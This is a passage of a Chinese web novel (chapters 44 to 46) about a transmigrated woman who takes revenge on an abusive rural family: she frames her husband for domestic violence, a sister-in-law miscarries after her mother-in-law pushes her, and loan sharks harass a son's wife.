“老大,你怕啥,就跟她离婚,看她一个女人能怎么办?等她活不下去了,爬都得爬回来求你!”
她儿子人高马大的,还怕找不到女人吗?村里好几个寡妇都对他抛过媚眼呢!等赶走了云灵,她一定要睁大眼睛,给老大选个懂事听话,还要能生儿子的女人。
可不管她怎么说,朴世仁蹲在地上,缩着脖子,就是咬死了不离婚。
艾侽有些纳闷,难道老大对云灵的感情这么深?不像啊,昨天老大还偷偷骂她呢。
云灵不耐烦了,朴世仁摆明就是要赖上她们,干脆,她现在就把他解决了!她飞起一脚踹翻了朴世仁,然后就是一顿拳打脚踢,“你竟敢不听妈的话,我打死你个不孝子!”
艾侽心疼死了,“云灵,你快住手!”
云灵怎么会听她的?一边揍一边说,“妈,你放心,虽然我就要被你赶出家门了,但我作为孝顺的儿媳,要为你做最后一件事,教朴世仁必须听你的话!”
“你们,你们快去帮帮你大哥呀!”艾侽给朴为善和李招娣下令。
朴为善和李招娣:……妈,我们想活。
揍了一会儿,朴世仁实在受不了了,“同意,我同意离婚,你别打了!”
云灵一脚把他踹到院儿里,“你刚才吵到邻居了,得给大家个交代,这样吧,你出去绕村子走一圈儿,逢人就大声说你打我了。”
朴世仁爬起来,“你到底要干啥?”
“孝顺啊,万一别人知道你被我打了,丢了你的面子,妈肯定不高兴,我这是在给你长脸啊。”
“不,我不去。”
他都大嗓门半辈子了,从没听说还要给邻居什么交代,谁知道云灵又有什么鬼主意,他才不去呢。
云灵从厨房拿出菜刀,“唰”地割断了他的裤腰带,“你去不去?”
“去,我这就去!”
看见云灵手里的菜刀,他腿都软了,吓得两手拽紧裤子,连滚带爬地跑了。
他怕又挨打,专往人多的地方钻,仰着头大声说自己刚才如何威武,狠狠揍了云灵一顿,云灵还敢反抗,被他打了个半死,爬都爬不起来了。
说了几遍,他自己都信了,幻想着痛打云灵的情景,说得更来劲儿了。
听的旁人直皱眉,原主经常挨打,大家倒不怀疑朴世仁的话。
但家丑不可外扬,这种事儿哪有大肆宣扬的?朴世仁一个膀大腰圆的男人,把自己媳妇打服了又有什么值得吹嘘的?
隔壁胖婶儿就关门啐了他好几口。
还有人问,“你媳妇儿挺听话的呀,你为啥又打她呀?”
“惹我妈生气了呗,这个臭娘们,盛饭的时候差点烫着我妈,那我能惯着她吗,我上去就是一耳光!她还敢哭呢,她越哭我就越打,一会儿就把她打服了。”
有厚道的人过来劝,“云灵挺好的,家里家外的活儿都拿得起来,对你妈也恭敬,你别把人逼急了。”
“三叔,您光棍了一辈子所以不知道,这女人呐不能惯着,你稍微对她好点儿,她就该蹬鼻子上脸了,就得隔三岔五给她松松皮子,她才能消停,哈哈。”
朴世仁高谈阔论,仿佛真找回了过去的几分威风。
直到有细心的人问,“是不是云灵把你气着了,你这嗓子咋越来越尖了?”
“对呀,哥,你最近怎么都不留胡子了?原来那胡子多神气呀。”
朴世仁脸色一变,“我怎么说话、留不留胡子跟你们有什么关系?狗拿耗子多管闲事!”
他拎着裤子,找别人说话去了。留下大家面面相觑,这人怎么乱发神经,越来越不正常了!
云灵看差不多了,让神祇宝典把她外表幻化成鼻青脸肿,浑身血迹斑斑的模样,跑到镇上的派出所,“警帽同志,我男人要把我打死了!”
警帽们不敢轻视,急忙给她做笔录,带她去验伤。
云灵身上太可怜了,不但新伤叠旧伤,大面积软组织挫伤,还有好几处骨裂。
云灵哭得梨花带雨,“我不跟他过了,我要起诉他。”
警帽们义愤填膺,开着警车去抓朴世仁。
朴世仁见了警帽,差点没尿裤子,等弄明白是云灵告他家暴,更是又惊又怒,“怪不得你这娘们让我到处嚷呢,合着是要算计我,你好毒的心肠!”
他扑上来抓云灵,云灵十分配合地躲到警帽身后。
警帽们更生气了,当着他们的面儿还敢打人!一拥而上,把朴世仁按倒在地,朴世仁呛了一嘴土,歪着头大喊,“警帽同志,冤枉啊,是这娘们打我,不信你们问我妈!”
艾侽连连点头,“是那疯婆子打我儿子,我们三个都没拦住她。”
警帽看看五大三粗的朴世仁,再看看瘦弱的云灵,“你说她打你儿子,然后你们三个都阻止不了?”
“对呀,她发起疯来,力气可大了。”
隔壁胖婶儿走进来,“警帽同志,她说谎,明明是朴世仁打云灵,我们全村都知道。她这是睁眼说瞎话,真不要脸!”
警车进村,这可是大事,不一会儿全村就传遍了。
朴家的院门口、墙头上都挤满了人,都是来看热闹的。
艾侽跺着脚,怒气冲冲地驱赶着围观的人群:“关你屁事,你给我滚出去!”
“我来跟警帽同志反映情况,不然你以为我愿意来你家呢!”胖婶儿白了她一眼,转而对警察说,“警帽同志,你们别信艾侽的话,朴世仁打老婆,十次有九次是她挑唆的。朴世仁刚才还打了老婆,打完还满村显摆呢。你们问问就知道了。”
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她跟艾侽,从年轻时就不对付,也替原主不值。
可原主自己不争气,每次跟她哭完,眼泪一擦又去伺候那一家子了。这毕竟是人家的事,她也不好插手。难得云灵想明白了,她该帮云灵一把才是。
警帽一调查,大家都跟胖婶儿说的差不多。
云灵来到这个世界没多久,朴世仁他们也不可能出去说,自己被云灵修理得很惨。所以,在大家心目中,云灵才是被家暴的那个。
朴世仁不服,嚷嚷着也要去验伤,他身上还很疼呢,不可能验不出来的。
很快,结果出来了,朴世仁身上光洁无暇,半点伤都没有。“不可能!一定是验错了,我要重验!”朴世仁杀猪一样喊起来。医生冷静地回应:“你再验多少次,结果都是一样。”
“不可能,这不可能!”云灵打得那么重,怎么可能没有伤?
云灵心中暗笑:暗劲了解一下?
“我要离婚,还要追究他的法律责任。”
艾侽跟到了医院,一听云灵居然要告朴世仁,顿时对着云灵哭得鼻涕一把眼泪一把,开嗓就亮了个高腔:“云灵啊,妈求你了,你们一日夫妻百日恩,就算过不下去了,也好聚好散吧,别把世仁往死里逼啊。”
“夫妻俩过日子都有个磨牙拌嘴的时候,一个巴掌拍不响啊,怎么就弄到要告他的地步了!”
“你嫁进来几年,我也算待你不薄。我都这把年纪了,活不了几年了,你就留下老大给我尽尽孝吧。他要是坐了牢,我也不活了,呜呜呜……”
“妈,他可是把我打得好几处骨裂呀,我这身上都没有好地方了。他这是犯了法呀,我可不敢包庇他!”
云灵可不管艾侽的言语,她执意上告。
这个世界对于家暴的处罚严格多了,可不像云灵诞生那个世界,只会和稀泥,这也是她唯一相信法律的一次,如果还让她失望,她不介于炸掉警帽局。
艾侽眼见没办法,只能给朴为德打电话,让他帮忙找律师,一定要把朴世仁救出来。
朴为德听了一阵头疼,他毕业就进了郝父的公司,哪有什么人脉,还得靠郝父的关系。
他跟稻梅的关系又一直没有缓和,让他低头求稻梅,他实在难受。再说,朴世仁这是家暴,说出去也不光彩,他也不想让稻梅知道。
但艾侽哭得实在可怜,自己又常年不在家,大哥也算帮他尽孝了,他于情于理都不能不管。
他就跟艾侽说,律师可以让郝父帮忙找,但律师费要咱们自己拿,不能太让郝家看不起。
他一提到钱,艾侽又哭着骂云灵,“都是那短命的娘们,家里实在没钱了呀。老三啊,你做人不要太老实,你媳妇的钱不就是你的钱吗。”
又是这套,朴为德差点脱口而出,可现在还不是我的钱啊!他就不信,他每个月工资寄回去一大半,怎么会没钱?
说来说去,家里还是不想花钱,想让郝家帮忙解决。
他们怎么就不想想,这样一来,他有多难做!
人家儿子在外面打拼,家里都拼命支持,就算无力支持,至少也要做到不添麻烦。
怎么他的家人,不但帮不上忙,还要一直给他添乱呢!
他心里堵着气,可又不能不管,毕竟这是他的亲妈,他的亲大哥。
他只能低三下四把屋子擦了一遍,还做了一桌子菜,跑前跑后照顾稻梅,看着气氛不错,把朴世仁的事儿说了。他当然不会说朴世仁家暴,而是说云灵在外面有人了,逼着朴世仁离婚,朴世仁不肯,云灵就陷害他。
44. 团宠世界
稻梅眼露怀疑,她虽然没见过云灵几面,不过印象中那是个忠厚的女人,胆子也小,见了生人都不敢抬头说话,实在不像有心机的人。
朴为德一拍手,“你是被云灵的外表骗了,她那个人看着不言不语的,其实最有心眼,我大哥就是太相信她了,才会着了她的道儿。我不能眼看着大哥坐牢,你就帮帮我吧。”
老公和没见过几面的妯娌,稻梅还是选择相信老公。
再说冷战了这么久,好不容易才破冰,她应该给朴为德一个面子的。
于是,她央求她爸给朴为德介绍了有名的薛律师,就连朴为德拿家里的钱付律师费,她也默许了。
朴为德也对她更殷勤了,竟然找回了几分热恋的感觉,她暗自庆幸自己真是做对了。
没想到很快薛律师气愤地找上门,说这官司他打不了。“你们跟我说朴世仁是被冤枉的,让我帮忙还他清白。可事实是他家暴不是一次两次了,验伤报告上写的明明白白,很多都是陈年旧伤,难道云灵就为了诬陷他,从多年前就开始受伤埋线,她是傻吗?”
“还有那么多人证,云灵就算有天大的本事,也不可能串通全村诬陷他!他打完云灵,还得意洋洋地宣扬,这要怎么诬陷?云灵能逼他诬陷自己吗?”
“我就问了几句,那家人就阴阳怪气的,说我既然拿了他们的钱,干好自己的活儿就行了。我还没见过派头这么大的被告!”
那家人好像出了钱,就把自己当成了活祖宗,到律所指手画脚。那个老太太,趁人不注意把律所的茶包都揣走了,还有那个叫朴为善的,竟然偷偷摸女助理的屁股!这是什么样的人家!
他也是有名的律师,到哪里别人不是客客气气的?还没人给他这么大气受!
郝父既震惊又尴尬,他和薛律师是多年的老朋友了,很相信他的人品,再说案子上的事儿他也不会乱说,就觉得很对不住他,跟他一直赔不是。
薛律师气消了些,意味深长地对郝稻梅说,“算了,你们既然不知情,我也不怪你们,只是这案子不能接了。稻梅,我也算看着你长大的,给你个忠告,一个人如果家风不正,但他还偏袒家人,只怕这个人三观也很有问题。”
稻梅只恨没有个地缝,可以让她钻进去,她找到朴为德愤怒地问怎么回事。朴为德比她还生气,“你爸找的什么律师呀,竟敢给我妈脸色看!我大哥有没有家暴关他什么事,他拿人钱财替人消灾,把官司打赢就行了!”
稻梅怀疑自己是不是听错了,“你也觉得你大哥家暴没错?那你为什么撒谎骗我?”这还是她认识的那个人吗?
朴为德烦躁地挠挠头,稻梅真是越来越不通情理了。
“什么家暴呀,你别说的那么难听,夫妻哪有不吵架的?云灵也打过我大哥呀!我不跟你说,是不想让你乱想。算了算了,反正律师多的是,让你爸再找一个就是了。”
稻梅气乐了,合着他还是为自己着想了。
“你做梦吧,我爸不会再管这件事了。”
朴为德尖声大喊,“哪怎么行?他凭什么不管?你们家怎么回事啊?我哥摊上这么大的事儿,你爸就随便找个律师糊弄,你知不知道他这么做,可能会害的我哥坐牢!我都不跟他计较了,他凭什么撂挑子!”
“稻梅我告诉你,那可是我亲哥,你要是不把这件事办好,我看你以后怎么去见我妈!怎么有脸蹬我家的门!”
稻梅冷冷地说,“颠倒黑白的家门,不蹬也罢。你这么关心你亲哥,自己去帮他找律师吧。”
“你说什么?”朴为德指着稻梅的鼻子,“稻梅你有种!你们城里人就是心狠,一点亲情都没有!好,我这就去帮我哥,他的事儿一天不解决,我就一天不回去上班!”
他摔门而去,一股从未有过的疲惫向稻梅袭来。
离了郝家,朴为德就像没头的苍蝇,一点儿章法都没了。
他手头没钱,请不起多好的律师,在朴家人面前还要打肿脸充胖子,弄得朴家人不知天高地厚,气跑了好几个律师。
消息一传开,谁都知道来了特别不讲理的一家人,没人肯接他们的委托了。最后只能随便请了一位,草草准备一下,这个案子证据也充足,很快就宣判了,朴世仁被判了两年,艾侽当场就晕过去了。
朴家大乱,云灵看够了笑话,开始了以后的计划。
话本世界的年代跟千禧年相似,创业是不可能创业的,需要动脑子的事情,不适合懒散的云灵。
再说,谁都知道跟云灵诞生的世界相似的话本世界出自什么地方,所以它们的制度,是类似的。
谁在这个国家创业,谁倒霉。
所以,云灵租了房子,买了电脑,直接玩股票。
这是一种不需要动脑子,来钱又快的玩意。
别误会,说不用动脑只是因为云灵有神祇宝典的帮助,祂让云灵买什么股票,云灵就买什么股票,只赚不陪。
……
云灵发财的消息在村里不胫而走,引起了一阵轰动。人们对她突然的好运感到惊讶,却又说不出个所以然来。
胖婶儿总是乐于分享这些八卦:“好人有好报啊,云灵一离开这里,运气就来了。我前几天进城看见她,差点没认出来。她年轻了不止一点,穿得也时髦,一看就知道价格不菲。”
“她说她现在就是到处玩、享受生活,哎呦,这日子过得真是舒心。”
听众们听得目瞪口呆,羡慕之情溢于言表:“云灵这是遇到贵人了?真是奇怪,她在老朴家的时候怎么就没这运气呢?”
胖婶儿撇撇嘴:“离开那些恶心的人,运气自然就来了,哈哈!”
这些话传到艾侽耳朵里,她气得直跺脚:“那个胖婆子,云灵再有钱也不会给你一分,你这是白费口舌!”
自云灵想到朴世仁,艾侽更是心疼。
她上个月刚去探监,朴世仁瘦了一圈,精神萎靡,见到她就哭诉自己在牢里的委屈。想到这些,艾侽又感到一阵疲惫,决定去厨房找点吃的。
打开锅盖,她发现鸡汤不见了,顿时火冒三丈:“招娣,李招娣,你给我出来!”
李招娣慢慢走出来,她现在可是家里的宝贝,因为她怀孕了。这个孩子对朴家来说意义重大,因为这是朴为善和她多年婚姻后的第一个孩子。
艾侽看她那娇贵的样子,气不打一处来:“我问你,这锅里的鸡汤呢?”
李招娣解释说她弟弟来帮忙干活,她便让他喝了鸡汤。艾侽一听就火了:“你弟弟喝我们家的鸡汤,这叫偷!”
李招娣气得反驳:“妈,你这话太难听了,我弟弟帮忙干活,吃口饭怎么了?”艾侽不依不饶,坚持认为没有她的允许,动家里的东西就是偷。
李招娣也不甘示弱,坚称鸡汤是朴为善买给她的,她有权决定给谁喝。
艾侽感到了威胁,她不能让李招娣在儿子面前说三道四。一时冲动,她伸手推了李招娣一把。
李招娣猝不及防,撞上了灶台,惨叫一声,倒在地上,手捂着肚子。
“啊!我肚子,我肚子好痛!”李招娣痛苦地呻吟。
艾侽还在气头上,又踢了她两脚:“你就会拿肚子说事,这么多年才怀孕,你还有脸提!”
“不,我肚子真的好痛!”李招娣摸到一手血,惊恐地求救,“妈,快救救我的孩子!”
“你怎么流血了?这可不关我的事!” 艾侽吓得脸色发白,连连后退。她清楚地看见,李招娣身下流了一滩血。
“救命!快救救我的孩子!” 李招娣大声呼救。
隔壁的胖婶儿听到动静,急忙跑进来,也吓了一跳,“快,快找车送她去医院,再去叫朴为善。艾侽,你愣着干吗?过来帮忙啊!”
胖婶儿更看不上她了,平时骂人那么有能耐,出点儿事就先慌了!
七手八脚把李招娣送上车,艾侽不想跟去,却被胖婶儿推了上去,“这么大的事儿,你们家怎么能没人跟着!”
朴为善正在地里忙活,听说李招娣出了事,也扔了农具往医院跑。一溜烟儿到了医院,他哆嗦着问医生,他老婆孩子怎么样?
医生摇摇头,“病人情绪受了刺激,肚子又被重创,孩子保不住了。”
好似晴天霹雳,朴为善晃了晃,差点晕过去。他望向艾侽,艾侽心虚地移开目光,“她骂我是贼,我气不过轻轻推了她一下,哪知她会站不稳,跌了一跤呢。我怀着你的时候,还到河里摸鱼呢,也啥事没有啊。老二,这孩子跟咱们缘分太浅,注定留不住。你还年轻,再要一个吧。”
李招娣莫不是纸糊的,怎么还碰不得了!朴为善闭目流泪,哭得浑身颤抖。艾侽上前把他的头搂在怀里,“老二啊,妈对不住你呀,你可千万别这样,妈看了心里难受。你恨妈吧,只要能让你消
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气,妈任你打骂都行。”
朴为善“呜呜”哭着摇头,算了吧!这是他的亲妈,他又能怎么样?再说,妈妈也不是存心的。
说来也是李招娣脾气不好,怎么能骂他妈呢!都是他这些日子太宠李招娣,纵得她不知天高地厚,竟敢对他妈骂骂咧咧。他看不见的地方,李招娣不知怎么给他妈气受呢,真是难为他妈了!
他看艾侽忙前忙后出了一身汗,头发都粘在脸上了,又是一阵心疼。他妈够难受的了,就别给她添堵了。“妈,我听你的,等招娣养好身体,我跟她再要一个。”
“对喽。”艾侽心里熨帖,到底是从她肠子里爬出来的,啥时候都跟她最亲。“听妈的话,咱是大丈夫,得刚强点儿,什么沟沟坎坎咱都能踏过去。”
“我知道了,妈你还没吃饭吧,我去给你买。”艾侽没拦住,他转身跑去卖饭的地方,给艾侽打了份炸茄盒,想起艾侽爱吃鱼,又来了份红烧鱼。吃得艾侽满口流油,一边吃一边埋怨他浪费钱。
医生都傻眼了,你孩子没了,媳妇还躺在病床上,你倒好,光顾着给你妈买饭了。可是你孩子都是因为你妈没的啊!这老太太也是,就大模大样吃上了,还直吧嗒嘴,心可真够大的!他扒拉朴为善一下,“这位家属,你就不去看看病人?”
朴为善一拍脑门,忘了李招娣了!“这就去,我这就去。”他推开病房的门,坐到床边,“招娣,你好点儿了吗?想不想吃点啥?”
李招娣脸白得像纸,半天眼睛转了一下,“孩子没了。”
“我都知道了”,朴为善低头抹了把眼泪,“你别太难过了,好好歇着,咱俩都还年轻,以后再要就是了。”
李招娣眼睛转向他,“是你妈推了我,孩子才没的。”
“行了,妈心里也难受,以后这事儿都别提了。”
李招娣勉力抬起头,一字一顿,“我说,你妈,害死了,咱们的孩子!”
朴为善一脸不耐烦,“不都跟你说别提了吗,刚才我妈忙前跑后的,也累的够呛了。她是我妈,我能怎么办?我还没说你呢,你怎么能骂她呢!这是忤逆不孝,要不是你刚没了孩子,我非得揍你不可!”
李招娣脸色更白了,“就因为我骂了她一句,她就能杀了我的孩子?”
“谁杀你孩子了?”朴为善猛地站起来,“你不许胡说,妈也不是故意的,她就推了你一下,谁知道你就站不稳了。你这些年身子差,恐怕这胎相也不好,你就别赖咱妈了!”
李招娣愣了一会儿,抬手擦了眼泪,“你妈可是说了,你的命都是她给的,她随时可以收回。她连你的命都不当回事,你听了也没啥?”
“那都是气话!怎么能当真?”朴为善更没好气了,这李招娣怎么不依不饶呢?还是大哥说得对,女人真是不能惯着,一惯着就起幺蛾子。
“我妈也没说错,我的命本来就是她给的,别说一个孩子,就是我妈要我的命,也是应当应分的。”
“哦,是这样。”李招娣神色木然,突然诡异的笑了下,默默躺回去。
朴为善体谅她刚失了孩子,没再说什么,“你还是吃点东西吧,太油腻你也吃不下,我去给你买碗小米粥吧,再配个咸菜——”
“我要离婚。”
朴为善顿住,“你说啥?”
“我要跟你离婚。”声音无力但坚定,似乎酝酿了许久。
李招娣说完才发现,自己浑身无比的轻快。以前觉得离婚是比死还大的事,可真说出来,也不过是那么回事罢了。
啊,不对,已经有人死了,她的孩子死了。
她想过朴为善会怎么做,想过朴为善会痛哭流涕、会怒斥艾侽,或许,或许还能分家呢。
她真没想到,生死攸关的事,就这么被朴为善轻飘飘地揭过去了,好像死得不是他的亲生骨肉似的。
也是啊,他连他的命都能给刘雨香呢。
她怎么忘了,三兄弟里,朴为善是最孝顺的那个。
可悲的是,他也是最不受艾侽待见的那个。
朴世仁是老大,受艾侽看重,朴为德最小,是艾侽的心头肉,剩下朴为善,艾侽从来就想不起他来。
他自己都说,自从记事起,他妈就没抱过他。可能越是缺什么,就越是拼命追求什么。
艾侽越忽略他,朴为善对她越孝顺恭敬,恨不得把天上星星摘下来,换艾侽说他句好。
45. 团宠世界
李招娣刚嫁过来时,也抗争过,也怨愤过。可朴为善总是向着他妈,她要是不听话,朴为善劈头盖脸就是一顿打。
他还总把大嫂挂在嘴上,让她看看大嫂多么听话能干。不知不觉中,她把大嫂当成了竞争对手,来争夺在暗无天日的朴家,仅有的那一点点生存空间。
可大嫂突然变了,她变得敢对艾侽说“不”,她变得敢提离婚,她甚至敢把朴世仁告到坐牢,还能把日子过得红红火火的。
李招娣忍不住想,云灵既然可以,那她是不是也可以?就算做不到她那么好,总归不会比现在更坏吧。
朴为善瞪起牛眼,“你敢跟老子提离婚?老子打不死你!”这些臭娘们都怎么了,一个两个都敢提离婚!他狠狠薅住李招娣的头发,就要抡拳头。
李招娣挣脱不开,用力喊,“这是医院,你敢打我!”
“老子管教自己的女人,哪里都一样!”眼看李招娣要吃亏,突然,病房门被人一脚踢开,一个黑瘦的身影窜进来,挡在李招娣身前,“姐夫,我姐都这样了,你还想对她动粗?”来人就是李招娣的弟弟李招福。
虽然朴为善不太在意这小舅子,但毕竟是娘家人,当着人家的面对李招娣动手也不好。
他松开李招娣的头发,气哼哼地看着李招福,“谁让你姐姐这么大人了,还不懂道理!她自己怀不住孩子,我还没找她算账呢,她居然就骂我妈,还敢说要离婚!”
李招福脸上淡淡的,声音也没什么起伏,“正是因为我姐这么大人了,她自己的事儿自己能做主,她想离婚就离婚,谁也不能逼她。她也没骂你妈,反倒是你妈,就因为我喝了你们家几口鸡汤,就骂我是贼,我姐都是为了帮我说话。”
他来的路上碰见了胖婶儿,胖婶儿什么都跟他说了。
朴为善眉毛拧成一团,“你什么意思?”
“意思就是,别人欺负你妈不行,可别人欺负我姐也不行。你一个男人为难女人算什么本事,有能耐冲我来。”
“你个小兔崽子,我弄死你!”朴为善一脚踹向李招福,李招福身子一偏,灵活的闪开,然后一拳重重打到他鼻梁上。
朴为善疼得嗷嗷直叫,扑过去和李招福扭打在一起。
他没把这个瘦小的小舅子放在眼里,以为很快就能制服他,没想到李招福虽然瘦小,力气却不小,还很会打架,专挑最疼的地方打。
没几下,他就被死死按在地上,动不了了。李招福眼神凶狠,活像一匹孤狼,“要不是在里面改造了几年,决定洗心革面了,我今儿就废了你。告诉你,我姐还跟不跟你过,全在于她自己,否则,咱们就找个说理的地方。反正你家老大已经进去了,你正好去和他做个伴儿!”
朴为善:!!!不是说李招福在外面乱闯吗?怎么是在坐牢?怪不得他出去几年,没挣回什么钱呢,平时也阴恻恻的不爱说话。
李招福要干吗?不会真想弄死他吧!朴为善的豪横是对着李招娣的,遇到真正的狠角色,马上就从心了。
“知,知道了,我不逼她。招娣,我再也不打你了,我妈也知道错了。你跟我回去吧,咱们好好过日子,孩子以后还会有的。”
李招福扬声问,“姐,你怎么说?”
李招娣咬牙切齿,“朴为善你想得美,我看你一眼都嫌恶心,你这种人就该跟你妈过去,我一定要跟你离婚。还有,你们害死我的孩子,别想就这么算了,我要你们给我五十万赔偿金。”
“什么?我凭什么给你五十万?”朴为善怪叫。这娘们怎么不去抢啊?
李招娣寸步不让,“就是五十万,我不能白在你们家遭这么多年罪,你们必须补偿我。否则,我就去告你妈故意伤害。反正你们家已经有一个坐牢的了,不在乎再多一个。”
朴为善:……在乎,非常在乎。“招娣,你知道的,我们家根本没那么多钱,你实在不想过了,我也随你。就是这钱,能不能少要点儿?”
李招娣冷笑,“你们没有,可以去找朴为德啊,他不是做了有钱人家的女婿吗?我不管你们怎么弄来这五十万,反正我就给你们十天,到时少一分,我就去告你妈!招福,让他走吧,我看他碍眼。”
李招福两三下把他扔出病房,“啪”地关上门。
朴为善蔫头耷脑带着艾侽回家了,路上他还长了个心眼儿,绕路去李招娣娘家的村子打听李招福。
问了半天,没问出来。
他一个生面孔,上去就逮着人家问,谁肯告诉他?艾侽白他一眼,“你靠边儿,打听家常这种事,还得让妈来。”
她走到几个围成一圈儿的老太太跟前儿,堆起笑容一口一个“老姐姐”叫着,还帮人家摘菜。她先说要打听道儿,后来又说起家长里短,半天的工夫就问出来了。
回到朴为善身边,艾侽沉着脸,“你那个小舅子还真不是好货,村里年纪大的都知道他的烂事。”
李招福从小就性子烈,不服管,也不肯踏踏实实种地。家里为了让他有个营生,花钱送他去读技校。
可他认识了几个同学,天天跟他们在外面打架,年轻人下手不知轻重,一次把人家打坏了,人家报了案。
这下可好,不光得赔人家不少钱,他也被关进去几年,最近刚出来。家里嫌不好听,对不知情的人就说他出去打工了。
李招福回来后,倒是不惹事了,也肯下地干活了,只是人已经养成了阴沉的性子,也跟人没什么来往。
艾侽恨得咬牙,“我说怎么当年她家要那么多彩礼呢,就是凑钱赔人家呢。哼,当初要不是看她像好生养的样子,我才不会掏这么多呢。她倒好,蛋都不会下一个。”
“妈,你说这些有啥用,她催着要五十万呢。”
李招福既然真是个硬茬,他可不敢惹了,还是想想怎么弄钱吧。
“哎呦,这个短命的贪财鬼哟……”艾侽骂了半天,还是得想办法弄钱。她的办法就是找朴为德。
朴为德感到心力交瘁,家里的风波一波未平,一波又起,似乎永无宁日。
他觉得自己就像一个快要溺水的人,拼命挣扎着想浮出水面,但是老妈、大哥、二哥、二嫂,有的人压在他背上,有的人拽着他的腿,沉重的负担让他无法前进,只能慢慢沉向水底。
他无奈地问老妈,“不能劝劝李招娣吗?她和二哥过了这么多年,总该有些感情,不至于非要离婚吧?或者即便是离婚,钱能不能少要点?”
“劝过了,没用”,艾侽显得十分委屈,她特意买了水果去探望,却连病房的门都没能进去,就被李招福赶了出来。多少年了,她从未受过这么大的委屈。
朴为德愤怒了,“那就不给她钱,跟她打官司。妈,你不用怕她,当时屋里只有你们两个人,她没有证据,你就坚持说是她自己没站稳滑倒了,她拿你没办法!”
“老三,不行啊,妈害怕”,艾侽抹了把眼泪,“你大哥的事已经够丢人了,妈要是再摊上官司,咱以后在村里也没法待了。再说自从你大哥被抓走,妈就落下了心病,一提打官司,心里就哆嗦,实在不敢了。”
如果是以前,老三跟她说这话,她可能会听。那时老三是她眼里的大能人,身边还有两个儿子依靠,底气正足。
但后来她看着老三多番奔走,老大还是坐牢了,她对这个儿子的能力产生了深深的怀疑。她被吓怕了,生怕自己也和卜世仁一样。
她这把老骨头,可经不起折腾了。“老三啊,你跟稻梅说说吧,我是她婆婆,她不能不管我呀!”
“妈,他们郝家也不是什么顶级富豪,这么多钱是说拿就拿的吗?再说……我们的感情也不如以前了。”
“啥?!这可怎么好哟,老三啊,妈从小最疼你,你得救救妈的命啊,妈要是被李招娣告了,还不如死了算了,哎呦,哎呦,我心口疼,疼……”
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话那头传来朴为善焦急的声音,“妈,你怎么了,快躺下歇歇!”一阵忙乱后,朴为善接过电话,“老三,你再想想办法吧,妈现在身体越来越差了,咱不能再让她着急上火了。”
“知道了,我会想办法”,朴为德嘟哝了一句,挂上电话,疲乏地搓了把脸。他对艾侽不是没有怨言的,就算李招娣跟她顶了嘴,可李招娣肚子里的可是她亲孙子啊!虽然艾侽口口声声说她在气头上,没多想。可推一个孕妇,难道她不知道会有什么后果吗?
二哥盼孩子盼了这么久,就这么没了,现在连老婆都要丢了,彻底成了孤家寡人,也没见她有多难受,反而心心念念要快点了结。
他妈的心,是不是有点太狠了呢?但他不能不管艾侽,不管怎么说,这是他亲妈,是从小偏爱他、供他读书的亲妈,没有他妈,就没有他的今天。
他必须要弄到钱,帮他妈摆脱牢狱之灾!只是他跟稻梅实在没法张口,女人间最容易共情,上次他就是怕稻梅同情云灵,才没敢跟她说实话。
这次李招娣更惨,连孩子都没了,稻梅如果知道,只会更惋惜。她可能还会想,为什么那两个妯娌都要离婚呢?是不是老朴家家风有问题?不都说李招娣会离婚,是受了云灵的影响吗?他不能让稻梅也被带坏了!
他们的关系已经很冷淡了,自从上次的事,稻梅就搬到了次卧,再不跟他同住了。
他回公司上班,稻梅除了公事,也几乎不和他接触。
怎么样能不跟稻梅说实话,又逼得她不得不拿钱呢?他在厅里团团转,突然,在垃圾桶里看到一张名片,是张小额贷款名片,他从门上揭下来,打算扔了的。鬼使神差般,他伸出手,把名片从桶里捞出来,盯着看起来。
……
稻梅穿了条美美的裙子,画了个淡妆,去赴闺蜜的约。
她们在最繁华的商业街上一阵血拼,手上拎满了袋子,正打算去吃饭,稻梅的电话响了,是个不认识的号码。
她接起来对方就是一阵咆哮,“你小心有命骗钱没命花,识相的赶快给老子还钱,不然老子把你先x后杀!”
稻梅长这么大,还没挨过这种骂,当时就懵了。
对方声音太大,吵得店里的人都听见了,纷纷用异样的眼神看她。
她声音颤抖,“你凭什么上来就骂人,我又不认识你,根本没骗你的钱,你打错电话了!”
对方更生气了,“你少装蒜,你不叫稻梅吗?是朴为德的老婆对不对?你们借了五十万,到了日子装什么失忆,再不还钱老子去你公司要!”
当众出丑,还被叫出名字,稻梅只觉得手脚冰凉、浑身发抖,愣在那里不知所措。闺蜜急忙拿过电话按掉,拉着她出了服装店,“别着急,快回去好好问问吧。”
稻梅跌跌撞撞地回去,到了门口又险些晕倒。门口被红色的油漆写满“欠债还钱”之类的字眼,邻居们对着门指指点点,看她回来了才一哄而散。她哆嗦着手开了门。
“谁?”朴为德拿着菜刀战战兢兢地出来,看见是她,松了口气,把刀放下。
稻梅盯着他,“这是怎么回事?”
朴为德走到她面前,“噗通”一声跪下了。
稻梅的心沉到谷底,朴为德最重男人的面子,在路上看见别的男人给女朋友系鞋带,他都要悄悄骂两句的。现在居然肯给她下跪,看来是犯了天大的错了。
“稻梅,我对不起你,钱是我借的。我妈得了癌症,得吃进口的靶向药,可那药一瓶就一万多,再加上别的治疗费用,我实在没办法了,就找地下钱庄借了钱。”哪知道他们借钱时说的客气,可钱到手就翻了脸,非逼着我马上还,利息也不是当初说好的了。我分辨两句,他们就恼了,找上门来闹。呜呜,对不起,把你吓着了。”
到了这个地步,稻梅不知为什么反而冷静下来。她缓缓走到沙发前坐下,“你起来吧,我有几句话问你。”
46. 团宠世界
朴为德站起身,却不敢靠近她,只是站在原地,偷偷地打量着她。“稻梅,你问吧。”
“就算你妈一个月得吃一万多块钱的药,也不可能一下吃了五十万,你怎么会借这么多?”
朴为德擦了擦额头的汗珠,“其实我没借这么多,这些是他们把利息都算上了,他们那利息高的要命。还有我妈也从别的亲戚那儿借了钱,现在人家着急用,我想帮她把账还上,就多借了些。”
“那你妈也病了有些日子了,怎么没听你说起?”稻梅的语气中带着一丝不解。
朴为德哀叹一声,“其实这都是我二哥干的,查出这个病之后,我妈怕咱们担心,一直没告诉咱们。她怕费钱,也不想治了,只想能拖一天是一天。可我二哥不忍心,偷偷借钱买了靶向药,骗她说是便宜药,她才吃到现在。后来人家上门来要钱,我妈才知道的。我一想到她那么难受,还硬撑着不告诉我,我这颗心都碎了,呜呜……”他哭得涕泪横流。
稻梅不置可否地说了句,“你们都是大孝子啊,只是我不明白,你为什么不来跟我要钱,反而要出去借呢?”
朴为德咬了咬下唇,“最近咱们……有些误会,你跟我妈处得也不好,我就没好意思提钱的事儿。我想着按约定的利息,我用每月的工资,再出去找个兼职,几年下来也够还了,谁想到他们变脸了呢?稻梅,我实在太对不起你了。”
